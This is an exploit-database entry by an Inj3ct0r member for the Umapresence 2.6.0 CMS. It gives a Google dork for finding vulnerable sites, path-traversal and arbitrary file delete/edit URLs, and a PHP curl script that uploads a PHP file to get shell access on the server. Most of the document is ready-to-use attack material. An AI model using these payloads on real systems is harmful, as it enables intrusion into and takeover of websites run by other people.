1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm Sammy FORGIT member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
##################################################
# Description : Umapresence Multiple Vulnerability
# Version : 2.6.0
# link : http://www.umazuma.com/fr/umapresence
# Software : http://www.umazuma.com/images/documents/umapresence.2.6.0.zip
# Date : 24-06-2012
# Google Dork : inurl:/umaservices/uma_editor/
# Site : 1337day.com Inj3ct0r Exploit Database
# Author : Sammy FORGIT - sam at opensyscom dot fr -
http://www.opensyscom.fr
##################################################
Filemanager : arbitrary delete File, create folder and upload file.php.gif
http://localhost/umapresence/umaservices/uma_editor/inc/insert_doc.pop.php?dos=../../style
Arbitrary File Editor :
http://localhost/umapresence/umaservices/umapage/inc/contentCss.php?file=test.php
Enter Code Source and Click "Enregistrer"
Shell Access : http://localhost/umapresence/style/test.php
Arbitrary File Upload :
PostShell.php
<?php
$ch =
curl_init("http://localhost/umapresence/umaservices/umapage/inc/contentCss.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('loading'=>'1',
'file'=>'test.php',
'page_html'=>'<?php
phpinfo();?>'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
//curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Shell Access : http://localhost/umapresence/style/test.php
# Site : 1337day.com Inj3ct0r Exploit Database
